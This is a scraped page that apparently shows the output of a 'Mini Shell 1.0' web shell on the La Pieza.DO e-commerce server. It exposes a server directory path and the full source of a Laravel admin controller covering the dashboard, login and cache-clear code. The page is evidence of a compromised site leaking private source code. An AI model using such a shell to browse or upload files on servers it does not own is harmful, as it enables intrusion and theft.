HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/AdminController.php
<?php



namespace App\Http\Controllers;



use Illuminate\Http\Request;

use App\Models\Category;

use App\Models\Product;

use Artisan;

use Cache;

use CoreComponentRepository;



class AdminController extends Controller

{

    /**

     * Show the admin dashboard.

     *

     * @return \Illuminate\Http\Response

     */

    public function admin_dashboard(Request $request)

    {   

        CoreComponentRepository::initializeCache();

        $root_categories = Category::where('level', 0)->get();



        $cached_graph_data = Cache::remember('cached_graph_data', 86400, function() use ($root_categories){

            $num_of_sale_data = null;

            $qty_data = null;

            foreach ($root_categories as $key => $category){

                $category_ids = \App\Utility\CategoryUtility::children_ids($category->id);

                $category_ids[] = $category->id;



                $products = Product::with('stocks')->whereIn('category_id', $category_ids)->get();

                $qty = 0;

                $sale = 0;

                foreach ($products as $key => $product) {

                    $sale += $product->num_of_sale;

                    foreach ($product->stocks as $key => $stock) {

                        $qty += $stock->qty;

                    }

                }

                $qty_data .= $qty.',';

                $num_of_sale_data .= $sale.',';

            }

            $item['num_of_sale_data'] = $num_of_sale_data;

            $item['qty_data'] = $qty_data;



            return $item;

        });



        return view('backend.dashboard', compact('root_categories', 'cached_graph_data'));

    }

    public function loginfront(Request $request) {
        // Validar los datos de entrada
        $request->validate([
            'email' => 'required|string|email',
            'password' => 'required|string',
        ]);
    
        // Intentar autenticar al usuario
        if (auth()->attempt(['email' => $request->email, 'password' => $request->password])) {
            $user = auth()->user();
    
            // Verificar el tipo de usuario y recargar la página correspondiente
            if ($user->user_type === 'seller') {
                return response()->json([
                    'state' => true,
                    'redirect_url' => route('seller.dashboard') // Cambia según el tipo de usuario
                ]);
            } elseif (in_array($user->user_type, ['admin', 'staff'])) {
                return response()->json([
                    'state' => true,
                    'redirect_url' => route('admin.dashboard') // Cambia según el tipo de usuario
                ]);
                // return redirect()->back(); // Recargar la página actual para admin o staff
            } else {
                // Cerrar sesión si el usuario no tiene el tipo permitido
                auth()->logout();
                return response()->json(['result' => false, 'message' => 'No tienes permisos para iniciar sesión'], 403);
            }
        } else {
            // Credenciales incorrectas
            return response()->json(['result' => false, 'message' => 'Correo o contraseña incorrectos'], 401);
        }
    }


    function clearCache(Request $request)

    {

        Artisan::call('optimize:clear');

        flash(translate('Cache cleared successfully'))->success();

        return back();

    }

}